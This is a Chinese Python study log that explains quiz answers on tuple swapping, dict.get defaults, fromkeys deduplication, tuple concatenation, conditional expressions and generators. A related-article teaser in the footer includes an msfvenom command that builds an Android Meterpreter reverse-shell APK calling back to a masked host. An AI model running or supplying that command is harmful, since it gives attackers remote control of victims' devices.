学习日志31 python

1 x, y = y, x 是合法的,这是Python的特色语法

x, y = y, x 是 Python 中一种非常简洁且实用的特色语法,用于交换两个变量的值。

这种语法的优势在于:

  1. 无需额外的临时变量即可完成交换操作
  2. 代码简洁易读,一眼就能理解其目的
  3. 执行效率高,在底层会一次性计算右边的值再赋值给左边

例如:

python

运行

a = 10
b = 20# 交换值
a, b = b, aprint(a)  # 输出 20
print(b)  # 输出 10

这种语法不仅限于两个变量,还可以同时处理多个变量的赋值和交换,如 x, y, z = z, x, y 也是合法的。这体现了 Python 语法的简洁性和灵活性。

2 使用 get(key) 访问不存在的键

题目:

以下程序输出为:
info = {'name':'班长', 'id':100, 'sex':'f', 'address':'北京'}
age = info.get('age')
print(age)
age=info.get('age',18)
print(age)
A None 18
B None None
C 编译错误
D 运行错误正确答案:A
你的答案:C

我的疑惑:

明明就是不存在的键为什么还有输出,我觉得会报错,类似于索引越界?

回答:

在 Python 中,字典的 get() 方法是一种安全获取键值的方式,它与直接使用索引(如 info['age'])的行为不同:

  • 当使用 get(key) 访问不存在的键时,不会报错,而是返回 None
  • 当使用 get(key, default) 访问不存在的键时,会返回指定的默认值(这里的 18)

在你提供的代码中:

  1. 第一次 info.get('age') 访问不存在的 'age' 键,返回 None 并打印
  2. 第二次 info.get('age', 18) 同样访问不存在的 'age' 键,但指定了默认值 18,因此返回 18 并打印

所以程序不会出现编译错误或运行错误,而是输出 None 和 18,正确答案是 A。

这种特性使得 get() 方法在处理可能不存在的键时非常有用,可以避免直接使用索引带来的 KeyError 异常。

fromkeys() 

在 Python 中,fromkeys() 是字典(dict)的一个类方法,用于创建一个新字典。

它的主要作用是根据指定的可迭代对象(如列表、元组等)中的元素作为键,并用同一个指定的值来初始化所有键对应的 value

fromkeys() 的语法格式如下:

python

运行

dict.fromkeys(iterable, value=None)

参数说明:

  • iterable:必需参数,是一个可迭代对象,其元素将作为新字典的键。
  • value:可选参数,用于设置所有键对应的初始值,默认为 None

示例如下:

python

运行

# 以列表中的元素作为键,默认值为None创建新字典
keys = ['name', 'age', 'gender']
new_dict = dict.fromkeys(keys)
print(new_dict)  # 输出: {'name': None, 'age': None, 'gender': None}# 以元组中的元素作为键,指定值为0创建新字典
keys_tuple = ('a', 'b', 'c')
new_dict2 = dict.fromkeys(keys_tuple, 0)
print(new_dict2)  # 输出: {'a': 0, 'b': 0, 'c': 0}

需要注意的是,如果 value 是一个可变对象(如列表、字典等),那么所有键都会引用同一个对象,修改其中一个键对应的 value 会影响到其他键。

例如:

python

运行

# 当value是可变对象时的情况
keys = ['a', 'b', 'c']
value = []
new_dict = dict.fromkeys(keys, value)
new_dict['a'].append(1)
print(new_dict)  # 输出: {'a': [1], 'b': [1], 'c': [1]}

例题(涉及到)

对列表a = [1,2,3,1,2,4,6]进行去重后,得到列表b,在不考虑列表元素的排列顺序的前提下,下列方法错误的是()A
b = list(set(a))B
b = {}
b = list(b.fromkeys(a))C
a.sort()
b = []
i = 0
while i < len(a):if a[i] not in b:b.append(a[i])else:i += 1D
a.sort()
for i in range(len(a)-1):if a[i] == a[i+1]:a.remove(a[i])else:continue
b = a正确答案:D你的答案:B

我们来分析每个选项的原理和正确性:

选项 A:b = list(set(a))
这是最常见的去重方法,利用集合(set)的特性(元素唯一)先将列表转为集合去重,再转回列表。虽然会改变原顺序,但题目允许不考虑顺序,所以正确。

选项 B:

python

运行

b = {}
b = list(b.fromkeys(a))

这里使用了字典的fromkeys()方法(如之前讲解的),它会以列表 a 中的元素为键创建字典,而字典的键是唯一的,最后再将字典的键转为列表。这是一种有效的去重方式,结果正确。

选项 C:

python

运行

a.sort()
b = []
i = 0
while i < len(a):if a[i] not in b:b.append(a[i])else:i += 1

先排序使相同元素相邻,再通过循环遍历,只保留第一次出现的元素。逻辑正确,能实现去重。

选项 D 的问题在于:

python

运行

a.sort()
for i in range(len(a)-1):if a[i] == a[i+1]:a.remove(a[i])  # 错误根源else:continue

使用a.remove(a[i])删除元素时,列表长度会动态变化,导致后续的索引i与实际元素不匹配,可能跳过某些元素或重复删除。例如原列表排序后为[1,1,2,2,3,4,6],执行时会出现漏删或索引越界问题,最终结果不正确。

因此,错误的方法是选项 D。

4 元组之间是可以进行拼接操作的

题目

在Python3中,以下程序结果为:
one = (1, 2, 3)
two = ('a', 'b')
print(one+two)A None
B 报错
C (1, 2, 3, 'a', 'b')
D [1, 2, 3, 'a', 'b']正确答案:C
你的答案:B

我的误解:元组不是不可变的吗,我所以觉得直接加法会报错?

你的理解存在一个误区:

元组的不可变性是指元组本身的元素不能被修改(无法新增、删除或改变元素),但元组之间是可以进行拼接操作的。

当使用 + 运算符连接两个元组时,并不会修改原来的元组,而是会创建一个新的元组,新元组包含两个原元组的所有元素。

在这个例子中:

python

运行

one = (1, 2, 3)
two = ('a', 'b')
print(one + two)

one + two 会生成一个新的元组 (1, 2, 3, 'a', 'b'),原元组 one 和 two 本身并没有被改变。因此程序的输出结果是选项 C。

这种特性和字符串类似:字符串也是不可变的,但多个字符串可以通过 + 拼接成一个新字符串。

5 在Python中的三元运算符(也称为条件表达式)写法

题目

下列Python3语句正确的是( )
A min = x if x < y = y
B max = x > y ? x : y
C if (x > y) print(x)
D while True : pass正确答案:D
你的答案:B

A错误:"min = x if x < y = y"语法错误。

Python的三元运算符正确写法应该是"min = x if x < y else y"。

B错误:"max = x > y ? x : y"这是C/Java等语言的三元运算符写法,在Python中不支持这种语法。Python使用"条件表达式"替代,正确写法是"max = x if x > y else y"。

C错误:"if (x > y) print(x)"虽然逻辑正确,但语法错误。Python中if语句后必须使用冒号(:),且下一行代码需要正确缩进。正确写法应为:
if (x > y):
print(x)

所以D选项是唯一符合Python3语法规范的语句。这个知识点考察了Python基本语法规则,包括循环语句、条件语句的写法以及与其他编程语言在语法上的区别。

Python 支持三元运算符(也称为条件表达式),其语法形式为:

python

运行

表达式1 if 条件 else 表达式2

当条件为 True 时,整个表达式的值为 表达式1;当条件为 False 时,值为 表达式2

示例:

python

运行

a = 10
b = 20
max_num = a if a > b else b
print(max_num)  # 输出:20

这个例子中,通过三元运算符简洁地实现了取两个数中较大值的逻辑,相当于:

python

运行

if a > b:max_num = a
else:max_num = b

Python 的三元运算符虽然语法形式与其他语言(如 condition ? expr1 : expr2)不同【不能写成题目里的b选项】,但同样能实现条件判断并返回对应结果的功能。

特殊的迭代器(生成器)

题目


在Python3.x环境下,执行以下程序,下列说法中,正确的是( )
s = (i for i in range(1, 3))    # ①
print(s.__next__())             # ②
for i in s:print(i)                    # ③
A 语句①的s是一个元组
B 语句②的输出结果为1
C 语句③的输出结果为1 2
D 语句③可以替代为
while s.__next__():print(s.__next__())正确答案:B
你的答案:C

让我们分析每个选项:

首先,语句① s = (i for i in range(1, 3)) 创建的是一个生成器对象(generator),而不是元组。生成器是一种特殊的迭代器,用于惰性计算。

选项分析:

  • A 错误:s 是生成器,不是元组(元组的语法是(1,2,3)这种直接包含元素的形式)
  • B 正确:生成器第一次调用__next__()会返回第一个元素 1
  • C 错误:语句③会输出 2,因为生成器已经被②消费了第一个元素 1
  • D 错误:while s.__next__(): 这种写法不恰当,当生成器迭代完毕后会抛出StopIteration异常,应该使用try-except处理或直接使用 for 循环。

选项 D 说 “语句③可以替代为 while s.__next__(): print(s.__next__())”,这是不正确的,原因有两个:

  1. 迭代逻辑错误
    生成器的__next__()方法每次调用都会返回下一个元素。如果写成while s.__next__(): print(s.__next__()),会导致:

    • 第一次调用__next__()判断条件(比如返回 1)
    • 第二次调用__next__()打印(返回 2)
    • 第三次调用__next__()判断条件时,生成器已无元素,直接抛出StopIteration异常,程序崩溃
  2. 缺少异常处理
    生成器迭代完毕后,再调用__next__()一定会抛出StopIteration异常。while循环本身不会处理这种异常,必须手动添加try-except才能正常运行,比如:

  3. python

    运行

    try:while True:print(s.__next__())
    except StopIteration:pass
    

而原语句③的for循环会自动处理StopIteration异常(迭代完毕后会正常退出),因此选项 D 的替代写法是错误的。

执行流程说明:

  1. 生成器s可产生 1 和 2 两个元素
  2. 语句②调用__next__()输出 1,生成器指针移到下一个位置
  3. 语句③的 for 循环会从当前位置继续迭代,只输出剩下的 2

因此正确答案是 B

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/92729.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/92729.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Mac配置服务器工具Royal TSX

Royal TSX是mac上类似xshell的工具&#xff0c;可以远程连接服务器、连接ftp等 下载Royal TSX 官网&#xff1a;Royal TSX 下载插件 在设置中的插件市场plugins中下载需要的插件 例如 远程shell插件&#xff1a;Terminal ftp插件&#xff1a;File Transfer 新建一个文档 开…

【小程序】微信小程序开发,给用户发送一次性订阅消息,常见参数长度和数据类型说明,你值得收藏

&#x1f339;欢迎来到《小5讲堂》&#x1f339; &#x1f339;这是《小程序》系列文章&#xff0c;每篇文章将以博主理解的角度展开讲解。&#x1f339; &#x1f339;温馨提示&#xff1a;博主能力有限&#xff0c;理解水平有限&#xff0c;若有不对之处望指正&#xff01;&a…

Pytorch深度学习框架实战教程-番外篇05-Pytorch全连接层概念定义、工作原理和作用

相关文章 视频教程 《Pytorch深度学习框架实战教程01》《视频教程》 《Pytorch深度学习框架实战教程02&#xff1a;开发环境部署》《视频教程》 《Pytorch深度学习框架实战教程03&#xff1a;Tensor 的创建、属性、操作与转换详解》《视频教程》 《Pytorch深度学习框架实战…

生产环境中Spring Cloud Config高可用与动态刷新实战经验分享

生产环境中Spring Cloud Config高可用与动态刷新实战经验分享 一、业务场景描述 在微服务架构中&#xff0c;配置中心承担集中化管理各微服务配置的职责。随着服务实例数量增加&#xff0c;单点部署的Spring Cloud Config Server无法满足生产环境的高可用需求。同时&#xff0c…

华为服务器中Mindie镜像的部署及启动方法

一、部署方法 首先要安装好Docker,然后点开网址https://www.hiascend.com/developer/ascendhub/detail/af85b724a7e5469ebd7ea13c3439d48f 拉取镜像需要申请权限: 注册登录后,即可提交申请,一般需要一个工作日,等审核通过后,点击下载即可弹出如下提示框: 按照上述方法…

Unity基于Recoder的API写了一个随时录屏的工具

Tips: 需要有Recorder Package引用或存在在项目 using UnityEngine; using UnityEditor; using UnityEditor.Recorder; using UnityEditor.Recorder.Input; using System.IO; using System;public class RecorderWindow : EditorWindow {private RecorderController recorderCo…

安卓渗透基础(Metasploit)

生成payloadmsfvenom -p android/meterpreter/reverse_tcp LHOST106.53.xx.xx LPORT8080 -o C:\my_custom_shell.apkapksigner 是 Android SDK 中的一个工具&#xff0c;用于给 APK 文件签名&#xff0c;确保应用的完整性和安全性。进入 File > Settings > Appearance &a…

从零构建自定义Spring Boot Starter:打造你的专属开箱即用组件

一、引言:为什么需要自定义Spring Boot Starter Spring Boot的核心理念是"约定优于配置",而Starter(启动器)正是这一理念的最佳实践。官方提供的Starter(如spring-boot-starter-web、spring-boot-starter-data-jpa)通过封装常用组件的配置,让开发者能够"…

MySQL 基础操作教程

MySQL 是目前最流行的开源关系型数据库管理系统之一&#xff0c;广泛应用于Web开发、数据分析等场景。掌握基础的增删改查操作是入门的关键。本文将从环境准备开始&#xff0c;带你深入&#xff0c;mysql一、前置准备&#xff1a;安装与连接 MySQL 1. 安装 MySQL Windows&#…

批量把在线网络JSON文件(URL)转换成Excel工具 JSON to Excel by WTSolutions

产品介绍 JSON to Excel by WTSolutions 是一款功能强大的工具&#xff0c;能够将JSON数据快速转换为Excel格式。该工具提供两种使用方式&#xff1a;作为Microsoft Excel插件或作为在线网页应用&#xff0c;满足不同用户的需求。无论是处理简单的扁平JSON还是复杂的嵌套JSON结…

【排序算法】③直接选择排序

系列文章目录 第一篇&#xff1a;【排序算法】①直接插入排序-CSDN博客 第二篇&#xff1a;【排序算法】②希尔排序-CSDN博客 第三篇&#xff1a;【排序算法】③直接选择排序-CSDN博客 第四篇&#xff1a;【排序算法】④堆排序-CSDN博客 第五篇&#xff1a;【排序算法】⑤冒…

2024年ESWA SCI1区TOP,自适应种群分配和变异选择差分进化算法iDE-APAMS,深度解析+性能实测

目录1.摘要2.自适应种群分配和变异选择差分进化算法iDE-APAMS3.结果展示4.参考文献5.代码获取6.算法辅导应用定制读者交流1.摘要 为了提高差分进化算法&#xff08;DE&#xff09;在不同优化问题上的性能&#xff0c;本文提出了一种自适应种群分配和变异选择差分进化算法&…

目标检测数据集 - 无人机检测数据集下载「包含COCO、YOLO两种格式」

数据集介绍&#xff1a;无人机检测数据集&#xff0c;真实采集高质量含无人机图片数据&#xff0c;适用于空中飞行无人机的检测。数据标注标签包括 drone 无人机一个类别&#xff1b;适用实际项目应用&#xff1a;无人机检测项目&#xff0c;以及作为通用检测数据集场景数据的补…

Linux DNS服务解析原理与搭建

一、什么是DNSDNS 是域名服务 (Domain Name System) 的缩写&#xff0c;它是由解析器和域名服务器组成的。 域名服务器是指保存有该网络中所有主机的域名和对应IP地址&#xff0c; 并具有将域名转换为IP地址功能的服务器。 域名必须对应一个IP地址&#xff0c;而IP地址不一定有…

typecho博客设置浏览器标签页图标icon

修改浏览器标签页图标&#xff08;favicon.ico&#xff09;&#xff1a;第1种&#xff1a;上传到服务器本地目录1、制作图标文件&#xff1a;准备一张长宽比为 1:1 的图片&#xff0c;将其上传到第三方 ico 生成网站&#xff0c;生成后缀为.ico 的图片文件&#xff0c;并将其命…

LoadBalancingSpi

本文是 Apache Ignite 中 Load Balancing SPI&#xff08;负载均衡服务提供接口&#xff09; 的核心说明&#xff0c;特别是其默认实现 RoundRobinLoadBalancingSpi 的工作原理。 它解释了 Ignite 如何在集群中智能地将任务&#xff08;Job&#xff09;分配到不同的节点上执行&…

Day43--动态规划--674. 最长连续递增序列,300. 最长递增子序列,718. 最长重复子数组

Day43–动态规划–674. 最长连续递增序列&#xff0c;300. 最长递增子序列&#xff0c;718. 最长重复子数组 674. 最长连续递增序列 方法&#xff1a;动态规划 思路&#xff1a; dp[i]含义&#xff1a;到i这个位置&#xff08;包含i&#xff09;的连续递增子序列的长度递推…

支持 UMD 自定义组件与版本控制:从 Schema 到动态渲染

源码 ⸻ 支持 UMD 自定义组件与版本控制&#xff1a;从 Schema 到动态渲染 在低代码平台或可视化大屏 SDK 中&#xff0c;支持用户上传自定义组件 是一个必备能力。 而在 React 场景下&#xff0c;自定义组件通常以 UMD 格式 打包并暴露为全局变量。 本篇文章&#xff0c;我…

zookeeper3.8.4安装以及客户端C++api编译

服务端直接下载编译好的bin版本 Apache Download Mirrors C客户端需要编译库文件 zookeeper 3.8.4 使用与C API编译 - 丘狸尾 - 博客园 杂七杂八的依赖 sudo apt update sudo apt install -y \autoconf automake libtool libtool-bin m4 pkg-config gettext \cmake build-es…

使用行为树控制机器人(一) —— 节点

文章目录一、背景需求二、创建ActionNodes1. 功能实现1.1 头文件定义1.2 源文件实现1.3 main文件实现1.4 my_tree.xml 实现2. 执行结果三、 执行失败处理1. 添加尝试次数1.1 功能实现1.2 实验结果2. 完善异常处理2.1 多节点组合兜底2.2 实验结果使用行为树控制机器人(一) —— …